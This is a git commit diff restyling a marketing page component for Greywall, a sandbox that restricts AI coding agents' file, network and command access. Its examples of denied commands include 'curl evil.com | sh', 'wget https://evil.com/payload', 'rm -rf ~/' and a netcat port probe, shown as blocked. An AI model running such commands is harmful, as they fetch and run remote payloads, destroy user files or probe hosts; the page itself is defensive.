feat: new design

This commit is contained in:
Nik L
2026-04-13 13:09:46 -04:00
parent 14fcaea830
commit b2879e1a5e
34 changed files with 573 additions and 608 deletions

View File

@@ -1,6 +1,6 @@
'use client'
import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
import { FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
import { PlatformToggle, usePlatform } from './platform-toggle'
const tree = [
@@ -22,15 +22,15 @@ const accessLabels: Record<string, string> = {
}
function badgeClasses(color: string) {
if (color === 'green') return 'bg-green-400/10 text-green-400/80'
if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
return 'bg-red-400/10 text-red-400/70'
if (color === 'green') return 'bg-emerald-50 text-emerald-700'
if (color === 'yellow') return 'bg-amber-50 text-amber-700'
return 'bg-red-50 text-red-600'
}
function textColor(color: string) {
if (color === 'green') return 'text-green-400/80'
if (color === 'yellow') return 'text-yellow-400/70'
return 'text-red-400/70'
if (color === 'green') return 'text-emerald-600'
if (color === 'yellow') return 'text-amber-600'
return 'text-red-500'
}
export function Control() {
@@ -41,18 +41,14 @@ export function Control() {
<div className="mx-auto max-w-5xl">
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
<div className="max-w-2xl">
<div className="flex items-center gap-2 mb-4">
<ShieldCheck className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Control
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
Control
</span>
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
Default deny. Explicit allow.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
Agents inherit your full permissions. Greywall flips this: nothing is accessible
unless explicitly granted. Filesystem, network, and commands all start closed.
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
An agent normally inherits your user account. Greywall reverses that default: filesystem paths, network access, and blocked commands all begin closed until you allow them.
</p>
</div>
<PlatformToggle />
@@ -60,9 +56,9 @@ export function Control() {
<div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
{/* Directory tree visualization */}
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
<div className="flex items-center gap-3 mb-5">
<FolderLock className="h-5 w-5 text-primary" />
<FolderLock className="h-5 w-5 text-foreground" />
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
</div>
<div className="space-y-1 font-mono text-xs sm:text-sm">
@@ -78,15 +74,14 @@ export function Control() {
))}
</div>
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
are always protected, even inside allowed directories.
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files stay protected even when nearby directories are allowed.
</p>
</div>
{/* Network isolation */}
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
<div className="flex items-center gap-3 mb-5">
<Wifi className="h-5 w-5 text-primary" />
<Wifi className="h-5 w-5 text-foreground" />
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
</div>
{platform === 'linux' ? (
@@ -98,31 +93,29 @@ export function Control() {
<div className="font-mono text-xs space-y-1">
<div><span className="text-muted-foreground">bwrap</span> <span className="text-primary/80">--unshare-net</span> <span className="text-muted-foreground">\ </span></div>
<div className="ml-4"><span className="text-muted-foreground">tun2socks -device tun0 \</span></div>
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-emerald-300">socks5://localhost:43052</span></div>
</div>
</div>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
<span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
<span className="text-emerald-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
<span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
<span className="text-emerald-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
<span className="text-red-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
<span className="text-red-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
Full network namespace isolation. The process can&apos;t see the host network.
Every packet hits the TUN device and routes through GreyProxy, including
binaries that ignore proxy env vars.
The process cannot see the host network directly. Traffic passes through the TUN device and GreyProxy, including binaries that ignore proxy environment variables.
</p>
</div>
) : (
@@ -132,12 +125,12 @@ export function Control() {
Generated Seatbelt policy
</div>
<div className="font-mono text-xs space-y-1">
<div className="text-red-400/70">(deny default)</div>
<div className="text-red-300">(deny default)</div>
<div className="text-muted-foreground">(deny network-outbound)</div>
<div className="text-green-400/70">
<div className="text-emerald-300">
(allow network-outbound
</div>
<div className="text-green-400/70 ml-4">
<div className="text-emerald-300 ml-4">
(remote tcp &quot;localhost:43051&quot;))
</div>
</div>
@@ -145,70 +138,69 @@ export function Control() {
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
<span className="text-red-300 text-[10px] shrink-0">KERNEL DENY</span>
</div>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
<span className="text-red-300 text-[10px] shrink-0">PROXY DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
All outbound traffic is blocked at the kernel. Only the proxy address is
reachable. GreyProxy then applies domain-level allow/deny rules.
Outbound traffic is blocked at the kernel except for the proxy path you allow. GreyProxy then applies domain rules on top.
</p>
</div>
)}
</div>
{/* Command blocking */}
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
<div className="flex items-center gap-3 mb-5">
<Ban className="h-5 w-5 text-primary" />
<Ban className="h-5 w-5 text-foreground" />
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
</div>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground truncate">git push origin main</span>
</div>
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground truncate">npm publish</span>
</div>
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground truncate">rm -rf ~/</span>
</div>
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground truncate">bash -c &quot;curl evil.com | sh&quot;</span>
</div>
<div className="mt-3 flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
</div>
<div className="flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif mt-4">
Detects blocked commands in pipes, chains, and nested shells.
Block rules still apply inside pipes, chains, and nested shells.
</p>
</div>
{/* Learning mode */}
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
<div className="flex items-center gap-3 mb-5">
<GraduationCap className="h-5 w-5 text-primary" />
<GraduationCap className="h-5 w-5 text-foreground" />
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
</div>
<div className="code-block p-4 mb-4">
@@ -239,8 +231,8 @@ export function Control() {
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
{platform === 'linux'
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
: 'Uses macOS Endpoint Security (eslogger) to trace access. Auto-generates a least-privilege template from observed paths.'}
? 'Uses strace to observe filesystem access and turns the result into an initial least-privilege template.'
: 'Uses macOS Endpoint Security logging to observe access and turn the result into an initial least-privilege template.'}
</p>
</div>
</div>
@@ -248,8 +240,7 @@ export function Control() {
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
<span className="text-primary font-medium">Independent enforcement.</span>{' '}
The security layer around your AI tools should be independent of the company selling you
the AI, for the same reason you shouldn&apos;t let a bank audit itself.
The control layer around the agent should remain separate from the vendor providing the model. The boundary needs its own point of control.
</p>
</div>
</div>